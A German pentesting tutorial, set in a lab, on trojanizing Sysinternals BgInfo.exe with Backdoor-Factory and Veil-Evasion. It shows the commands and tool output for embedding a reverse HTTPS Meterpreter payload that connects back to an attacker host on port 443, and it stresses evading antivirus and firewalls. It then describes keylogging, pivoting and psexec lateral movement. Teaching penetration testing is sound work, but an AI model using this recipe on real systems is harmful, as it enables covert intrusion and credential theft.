Bereits im Buch „Penetration Testing mit Metasploit“ bin ich im Kapitel 5.9 auf das folgende Thema eingegangen. Hier wurde versucht, in das Programm BgInfo.exe von Windows Sysinternals ein Trojanisches Pferd einzubetten. Im folgenden Beitrag möcht ich zeigen, dass sich auch auf diesem Gebiet einiges getan hat und das die Möglichkeiten zur Verschleierung solcher Angriffe immen noch unterschätz werden. Viele Anwender wiegen sich in Sicherheit und hoffen, dass solche Angriffe vom installierten Virenschutzprogramm bzw. der Fierwall erkannt und abgewehrt werden.

Die im Buch beschrieben Methode war recht umständlich und das so erzeugte Trojanische Pferd wurde auch von vielen Virenschutzprogrammen erkannt. Hier wird gezeigt, wie man die Tools Backdoor-Factory und Veil-Evasion nutzen kann, um die Arbeit eines Penetration Testers zu erleichten.

Folgenden Programme und Tools werden im folgenden genutzt:

Backddor-Factory – eine von Jushua Pitts geschriebene Anwendung, die es ermöglicht, Payloads in ausführbare Windows-Programme einzubinden.

Veil-Evasion – eine Framework zum Erzeugen von Paylods, die das Umgehen von Virenschutzes auf einzelnen Systemen ermöglichen. Dabei werden die verschiedensten Techniken und Programmiersprachen angewendet. Mitlerweile ist die Backdoor-Factory in Veil-Evasion integriert.

Kali Linux – die Linux Distribution für Pentester.

Linux Distribution für Pentester. Metasploit-Framework und die grafische Oberfläche Armitage.

Der Test wird in einer gesicherten Umgebung ausgeführt, die mittels Virtualbox erstellt wurde. Hierzu wird, die im Buch in Kapitel 2 beschriebene, Testumgebung genutzt. Der Versuchsaufbau ist im folgenden Bild dargestellt. Es wird ein externes Netzwerk simuliert, in dem sich ein „Angreifer“ mit der IP-Adresse 10.0.0.127 befindet. Das lokale Netzwerk wird durch eine Firerwall geschützt. Neben dem potentiellen „Opfer“ mit der IP-Adresse 192.168.1.101 befinden sich im Netzwerk eine weiterer Client und ein Server, die nach Möglichkeit im Rahmen des Angriffs erkannt und übernommen werden sollen.

Schritt 1 – Backdoor-Factory nutzen und das Trojanische Pferd in BgInfo.exe „einpflanzen“

Das Programm BgInfo.exe von Windows Sysinternals wurde nicht ohne Grund für diesen Test ausgesucht. Das Programm ermöglicht dem Administartor die wichtigsten System-Informationen auf dem Desktop des Windows-Clients darzustellen. Somit wird es oft flächendeckend auf jedem Windows-PC innerhalb eines Netzwerkes installiert. Aus Sicht des Angreifers eine nahezu ideale Gelegenheit, Zugriff auf alle Komponenten im Netzwerk zu bekommen. Erleichternd kommt hinzu, dass das Programm in die Autostartroutine eigebunden werden muss, um aktuelle Systeminformationen nach dem Neustart der PC anzeigen zu können. Dies hat zur Folge, dass nicht nur aktuelle Informationen auf dem Desktop dargestellt werden, sondern auch der Trojaner die Möglichkeit hat „nach Hause zu telefonieren„.

Die Backdoor-Factory lässt sich in Kali Linux mit folgenden Befehl installieren. Die Hilfe-Funktion gibt Hinweise für den Einsatz.

apt-get install backdoor-factory

Wir werden später die in Veil-Evasion integrierte Version der Backdoor-Factory nutzen. Zunächst soll erst mal festgestellt werden, ob das Programm BgInfo.exe überhaut mit der Backddor-Factory „bearbeitet“ werden kann. Für einen entsprechenden Test ist im Programm die Option -S vorgesehen. Eine Anfrage könnte auf der Kommandozeile wie folgt aussehen:

backdoor-factory -f /home/Bginfo.exe -S -.(`-') (`-') _ <-.(`-') _(`-') (`-') __( OO) (OO ).-/ _ __( OO)( (OO ).-> .-> .-> <-.(OO ) '-'---. / ,---. -,-----.'-'. ,--. .'_ (`-')----. (`-')----. ,------,) | .-. (/ | /`. | .--./| .' /'`'-..__)( OO).-. '( OO).-. '| /`. ' | '-' `.) '-'|_.' | /_) (`-')| /)| | ' |( _) | | |( _) | | || |_.' | | /`'. |(| .-. | || |OO )| . ' | | / : | |)| | | |)| || . .' | '--' / | | | |(_' '--'| | | '-' / ' '-' ' ' '-' '| | `------' `--' `--' `-----'`--' '--'`------' `-----' `-----' `--' '--' (`-') _ (`-') (`-') <-. (OO ).-/ _ ( OO).-> .-> <-.(OO ) .-> (`-')-----./ ,---. -,-----./ '._ (`-')----. ,------,) ,--.' ,-. (OO|(_---'| /`. | .--./|'--...__)( OO).-. '| /`. '(`-')'.' / / | '--. '-'|_.' | /_) (`-')`--. .--'( _) | | || |_.' |(OO / _) .--'(| .-. | || |OO ) | | | |)| || . .' | / /) `| |_) | | | |(_' '--' | | ' '-' '| | `-/ /` `--' `--' `--' `-----' `--' `-----' `--' '--' `--' Author: Joshua Pitts Email: the.midnite.runr[a t]gmail<d o t>com Twitter: @midnite_runr v2.0.6 [*] Checking if binary is supported [*] Gathering file info [*] Reading win32 entry instructions /home/Bginfo.exe is supported.

Mit dieser positiven Nachricht können wird beginnen, die Backdoor-Factory in Veil-Evasion aufzurufen. In der aktuellen Version ist dies die Option 14. Nachfolgend kann man sich aussuchen, in welchem Bereich des ausführbaren Datei der Payload integriert werden soll.

========================================================================= Veil-Evasion | [Version]: 2.11.0 ========================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ========================================================================= Payload information: Name: native/backdoor_factory Language: native Rating: Normal Description: Import of the BackdoorFactory. Supports PE and ELF file formats. Author: Joshua Pitts @midnite_runr Required Options: Name Current Value Description ---- ------------- ----------- LHOST 10.0.0.127 IP of the metasploit handler LPORT 443 Port of the metasploit handler orig_exe /home/Bginfo.exe PE or ELF executable to run through the Backdoor Factory payload meter_https PE or ELF: meter_tcp, rev_shell, custom | PE only meter_https [>] Please enter a command: generate [*] Running The Backdoor Factory... [*] In the backdoor module [*] Checking if binary is supported [*] Gathering file info [*] Reading win32 entry instructions [*] Looking for and setting selected shellcode [*] Creating win32 resume execution stub [*] Looking for caves that will fit the minimum shellcode length of 758 [*] All caves lengths: (758,) ############################################################ The following caves can be used to inject code and possibly continue execution. **Don't like what you see? Use jump, single, append, or ignore.** ############################################################ [*] Cave 1 length as int: 758 [*] Available caves: 1. Section Name: .rsrc; Section Begin: 0xa9200 End: 0xcd200; Cave begin: 0xae2cc End: 0xaf024; Cave Size: 3416 2. Section Name: .rsrc; Section Begin: 0xa9200 End: 0xcd200; Cave begin: 0xb1bba End: 0xb2024; Cave Size: 1130 3. Section Name: .rsrc; Section Begin: 0xa9200 End: 0xcd200; Cave begin: 0xb29a6 End: 0xb3030; Cave Size: 1674 4. Section Name: .rsrc; Section Begin: 0xa9200 End: 0xcd200; Cave begin: 0xb3428 End: 0xb4032; Cave Size: 3082 5. Section Name: .rsrc; Section Begin: 0xa9200 End: 0xcd200; Cave begin: 0xb43f4 End: 0xb5025; Cave Size: 3121 6. Section Name: .rsrc; Section Begin: 0xa9200 End: 0xcd200; Cave begin: 0xb53ec End: 0xb6024; Cave Size: 3128 ************************************************** [!] Enter your selection: 1

Geht alles ohne Fehlermelung vonstatten, so wird der Payload im verzeichnis /root/veil-output/compiled abgelegt. Die dazugehörigen Ressource-Datei für den Handler findet man im Verzeichnis /root/veil-output/handlers.

Das Video am Ende des Beitrages zeigt noch mal die genaue Vorgehensweise

Schritt 2 – Den Angriff vorbereiten und ausführen

Die im ersten Schritt erzeuge Datei mit integriertem Trojaner sollte nun auf den Client kopiert werden. Hier bietet sich die von Virtualbox bereitgestellte Möglichkeit an, mit sogenannten „Shared Folders“ zu arbeiten. Ist die Datei übetragen, so sollte sie zunächst mit einem aktuellen Virensuchprogramm geprüft werden.

Auf dem System der „Angreifers“ kommt Kali Linux zum Einsatz. Metasploit wird automatisch bereitgestellt. Die grafische Oberfläche Armitage müsste ggf. nachinstalliert werden. Sie benötigt etwas Ladezeit, bis sie nach einem Start einsatzbereit ist. Wenn dies der Fall ist, so muss man nur noch den sogenannten Multi-Handler aufrufen. Der stellt sicher, dass die vom „Opfer“ eingehenden Datenpaketen empfangen und verarbeitet werden können. Die dazugehörige Ressource-Datei wurde im ersten Schritt automatisch erstellt. Wenn man diese nicht nutzen möchte, so ruft man die notwendigen Befehle in der Metasploit-Konsole auf und stellt die benötigten Parameter (wie im Video gezeigt) manual ein.

Der Angriff wird begonnen, sobald eine Nutzer die manipulierte Datei BgInfo.exe auf dem Windows7-PC startet. Eine enstprechende Reverse-Verbindung wird vom „Opfer“ zum „Angreifer“ initiiert. Die Firewall kann nichts Verdächtiges erkennen und lässt die Datenpakete über Port 443 zu. Ein TCP-Verbindung wird etabliert. Der eingesetzte Payload ermöglicht eine Verschlüsselung der Datenpakete. Weitere Module können nun ohne Probleme vom PC des Angreifers nachgeladen werden.

Schritt 3 – Post Exploitation -Keylogger – Pivoting

Dieser Schritt hat mit dem eigentlichen Thema nun nicht mehr viel zu tun. Hier soll aber zeigen werden, welche Möglichkeiten der Pentester im Einsatz dieses Payloads hat. Der eingesetzte „Meterpreter “ ermöglicht es nun, einen Keylogger auf dem PC des „Opfers“ zu installieren um die Tastenanschläge der Nutzer aufzuzeichnen. Im nachfolgenden Video wird gezeigt, wie über den angegriffenen PC eine Verbindung in das interne Netzwerk hergestelllt werden kann (Pivoting) und wie sich die angeschlossenen Systeme mittels „ARP-Scan“ ermittelt lassen. Werden über den installierten Keylogger Nutzerdaten ermittellt, so kann man sich mit Hilfe des Befehles psexec in anderne Windows-Systeme einloggen. Darüber hinaus stellt der Meterpreter umfangreiche Möglichkeiten bereit, um angeschlossen PC und Server im lokalen Netzwerk zu erkunden und anzugreifen. Bemerkenswert ist hier, dass der im zweiten Schritt angegriffene Windows-PC als Sprungbrett in das lokale Netzwerk genutz wird. Die entsprechenden Abhängigkeiten werden in der grafischen Oberfläche Armitage mit Hilfe der grünen Pfeilen sehr gut dargestellt.